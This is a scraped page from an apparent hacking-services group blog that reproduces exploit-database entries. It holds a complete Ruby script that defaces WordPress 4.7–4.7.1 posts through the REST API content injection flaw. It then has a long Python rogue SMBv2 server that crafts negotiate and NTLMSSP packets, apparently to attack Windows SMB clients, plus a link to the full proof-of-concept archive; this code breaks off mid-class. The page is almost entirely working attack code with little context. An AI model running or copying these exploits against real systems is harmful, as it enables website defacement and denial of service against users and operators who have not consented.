# Exploit Title: WP Content Injection
# Date: 31 Jan' 2017
# Exploit Author: Harsh Jaiswal
# Vendor Homepage: http://wordpress.org
# Version: Wordpress 4.7 - 4.7.1 (Patched in 4.7.2)
# Tested on: Backbox ubuntu Linux
# Based on https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# Credits : Marc, Sucuri, Brute
# usage : gem install rest-client
# Lang : Ruby
require 'rest-client'
require 'json'
puts "Enter Target URI (With wp directory)"
targeturi = gets.chomp
puts "Enter Post ID"
postid = gets.chomp.to_i
response = RestClient.post(
"#{targeturi}/index.php/wp-json/wp/v2/posts/#{postid}",
{
"id" => "#{postid}justrawdata",
"title" => "You have been hacked",
"content" => "Hacked please update your wordpress version"
}.to_json,
:content_type => :json,
:accept => :json
) {|response, request, result| response }
if(response.code == 200)
puts "Done! '#{targeturi}/index.php?p=#{postid}'"
else
puts "This site is not Vulnerable"
end
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863158191
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Full Proof of Concept:
# https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41222.zip
import sys, struct, SocketServer
from odict import OrderedDict
from datetime import datetime
from calendar import timegm
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def NTStamp(Time):
NtStamp = 116444736000000000 + (timegm(Time.timetuple()) * 10000000)
return struct.pack("Q", NtStamp + (Time.microsecond * 10))
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
def GrabMessageID(data):
Messageid = data[28:36]
return Messageid
def GrabCreditRequested(data):
CreditsRequested = data[18:20]
if CreditsRequested == "\x00\x00":
CreditsRequested = "\x01\x00"
else:
CreditsRequested = data[18:20]
return CreditsRequested
def GrabCreditCharged(data):
CreditCharged = data[10:12]
return CreditCharged
def GrabSessionID(data):
SessionID = data[44:52]
return SessionID
##################################################################################
class SMBv2Header(Packet):
fields = OrderedDict([
("Proto", "\xfe\x53\x4d\x42"),
("Len", "\x40\x00"),
("CreditCharge", "\x00\x00"),
("NTStatus", "\x00\x00\x00\x00"),
("Cmd", "\x00\x00"),
("Credits", "\x01\x00"),
("Flags", "\x01\x00\x00\x00"),
("NextCmd", "\x00\x00\x00\x00"),
("MessageId", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("PID", "\xff\xfe\x00\x00"),
("TID", "\x00\x00\x00\x00"),
("SessionID", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
])
##################################################################################
class SMB2NegoAns(Packet):
fields = OrderedDict([
("Len", "\x41\x00"),
("Signing", "\x01\x00"),
("Dialect", "\xff\x02"),
("Reserved", "\x00\x00"),
("Guid", "\xea\x85\xab\xf1\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x72\xa9"),
("Capabilities", "\x07\x00\x00\x00"),
("MaxTransSize", "\x00\x00\x10\x00"),
("MaxReadSize", "\x00\x00\x10\x00"),
("MaxWriteSize", "\x00\x00\x10\x00"),
("SystemTime", NTStamp(datetime.now())),
("BootTime", "\x22\xfb\x80\x01\x40\x09\xd2\x01"),
("SecBlobOffSet", "\x80\x00"),
("SecBlobLen", "\x78\x00"),
("Reserved2", "\x4d\x53\x53\x50"),
("InitContextTokenASNId", "\x60"),
("InitContextTokenASNLen", "\x76"),
("ThisMechASNId", "\x06"),
("ThisMechASNLen", "\x06"),
("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"),
("SpNegoTokenASNId", "\xA0"),
("SpNegoTokenASNLen", "\x6c"),
("NegTokenASNId", "\x30"),
("NegTokenASNLen", "\x6a"),
("NegTokenTag0ASNId", "\xA0"),
("NegTokenTag0ASNLen", "\x3c"),
("NegThisMechASNId", "\x30"),
("NegThisMechASNLen", "\x3a"),
("NegThisMech1ASNId", "\x06"),
("NegThisMech1ASNLen", "\x0a"),
("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"),
("NegThisMech2ASNId", "\x06"),
("NegThisMech2ASNLen", "\x09"),
("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"),
("NegThisMech3ASNId", "\x06"),
("NegThisMech3ASNLen", "\x09"),
("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"),
("NegThisMech4ASNId", "\x06"),
("NegThisMech4ASNLen", "\x0a"),
("NegThisMech4ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"),
("NegThisMech5ASNId", "\x06"),
("NegThisMech5ASNLen", "\x0a"),
("NegThisMech5ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("NegTokenTag3ASNId", "\xA3"),
("NegTokenTag3ASNLen", "\x2a"),
("NegHintASNId", "\x30"),
("NegHintASNLen", "\x28"),
("NegHintTag0ASNId", "\xa0"),
("NegHintTag0ASNLen", "\x26"),
("NegHintFinalASNId", "\x1b"),
("NegHintFinalASNLen", "\x24"),
("NegHintFinalASNStr", "Server2009@SMB3.local"),
("Data", ""),
])
def calculate(self):
StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])
SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
#Sec Blob lens
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
self.fields["SecBlobLen"] = struct.pack("<h",len(SecBlobLen))
#ASN Stuff
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(SecBlobLen)-2)
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegThisMech5ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech5ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
##################################################################################
class SMB2Session1Data(Packet):
fields = OrderedDict([
("Len", "\x09\x00"),
("SessionFlag", "\x01\x00"),
("SecBlobOffSet", "\x48\x00"),
("SecBlobLen", "\x06\x01"),
("ChoiceTagASNId", "\xa1"),
("ChoiceTagASNLenOfLen", "\x82"),
("ChoiceTagASNIdLen", "\x01\x02"),
("NegTokenTagASNId", "\x30"),
("NegTokenTagASNLenOfLen","\x81"),
("NegTokenTagASNIdLen", "\xff"),
("Tag0ASNId", "\xA0"),
("Tag0ASNIdLen", "\x03"),
("NegoStateASNId", "\x0A"),
("NegoStateASNLen", "\x01"),
("NegoStateASNValue", "\x01"),
("Tag1ASNId", "\xA1"),
("Tag1ASNIdLen", "\x0c"),
("Tag1ASNId2", "\x06"),
("Tag1ASNId2Len", "\x0A"),
("Tag1ASNId2Str", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
("Tag2ASNId", "\xA2"),
("Tag2ASNIdLenOfLen", "\x81"),
("Tag2ASNIdLen", "\xE9"),
("Tag3ASNId", "\x04"),
("Tag3ASNIdLenOfLen", "\x81"),
("Tag3ASNIdLen", "\xE6"),
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen","\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
("NTLMSSPNtServerChallenge","\x82\x21\x32\x14\x51\x46\xe2\x83"),
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen","\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh","\x06"),
("NegTokenInitSeqMechMessageVersionLow","\x03"),
("NegTokenInitSeqMechMessageVersionBuilt","\x80\x25"),
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NTLMSSPNtWorkstationName","SMB3"),
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB5"),
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","WIN-PRH502RQAFV"),
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB5.local"),
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","WIN-PRH502RQAFV.SMB5.local"),
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB5.local"),
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr",NTStamp(datetime.now())),
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
#Packet struct calc:
StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])
###### SecBlobLen Calc:
CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
#Packet Struct len
self.fields["SecBlobLen"] = struct.pack("<H", len(AsnLen+CalculateSecBlob))
self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64)
###### ASN Stuff
if len(CalculateSecBlob) > 255:
self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob))
else:
self.fields["Tag3ASNIdLenOfLen"] = "\x81"
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
if len(AsnLen+CalculateSecBlob)-3 > 255:
self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4)
else:
self.fields["ChoiceTagASNLenOfLen"] = "\x81"
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
if len(AsnLen+CalculateSecBlob)-7 > 255:
self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8)
else:
self.fields["NegTokenTagASNLenOfLen"] = "\x81"
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7)
tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
if len(tag2length) > 255:
self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length))
else:
self.fields["Tag2ASNIdLenOfLen"] = "\x81"
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length))
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### Target Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
class SMB2SessionAcceptData(Packet):
fields = OrderedDict([
("Len", "\x09\x00"),
("SessionFlag", "\x01\x00"),
("SecBlobOffSet", "\x48\x00"),
("SecBlobLen", "\x1d\x00"),
("SecBlobTag0", "\xa1"),
("SecBlobTag0Len", "\x1b"),
("NegTokenResp", "\x30"),
("NegTokenRespLen", "\x19"),
("NegTokenRespTag0", "\xa0"),
("NegTokenRespTag0Len", "\x03"),
("NegStateResp", "\x0a"),
("NegTokenRespLen1", "\x01"),
("NegTokenRespStr", "\x00"),
("SecBlobTag3", "\xa3"),
("SecBlobTag3Len", "\x12"),
("SecBlobOctetHeader", "\x04"),
("SecBlobOctetLen", "\x10"),
("MechlistMICVersion", ""),# No verification on the client side...
("MechlistCheckSum", ""),
("MechlistSeqNumber", ""),
("Data", ""),
])
def calculate(self):
###### SecBlobLen Calc:
CalculateSecBlob = str(self.fields["SecBlobTag0"])+str(self.fields["SecBlobTag0Len"])+str(self.fields["NegTokenResp"])+str(self.fields["NegTokenRespLen"])+str(self.fields["NegTokenRespTag0"])+str(self.fields["NegTokenRespTag0Len"])+str(self.fields["NegStateResp"])+str(self.fields["NegTokenRespLen1"])+str(self.fields["NegTokenRespStr"])+str(self.fields["SecBlobTag3"])+str(self.fields["SecBlobTag3Len"])+str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])
CalculateASN = str(self.fields["NegTokenResp"])+str(self.fields["NegTokenRespLen"])+str(self.fields["NegTokenRespTag0"])+str(self.fields["NegTokenRespTag0Len"])+str(self.fields["NegStateResp"])+str(self.fields["NegTokenRespLen1"])+str(self.fields["NegTokenRespStr"])+str(self.fields["SecBlobTag3"])+str(self.fields["SecBlobTag3Len"])+str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])
MechLen = str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"])
#Packet Struct len
self.fields["SecBlobLen"] = struct.pack("<h",len(CalculateSecBlob))
self.fields["SecBlobTag0Len"] = struct.pack("<B",len(CalculateASN))
self.fields["NegTokenRespLen"] = struct.pack("<B", len(CalculateASN)-2)
self.fields["SecBlobTag3Len"] = struct.pack("<B",len(MechLen))
self.fields["SecBlobOctetLen"] = struct.pack("<B",len(MechLen)-2)
class SMB2TreeData(Packet):
fields = OrderedDict([
("Len", "\x10\x00"),
("ShareType", "\x02\x00"),
("ShareFlags", "\x30\x00\x00\x00"),
("ShareCapabilities", "\x00\x00\x00\x00"),
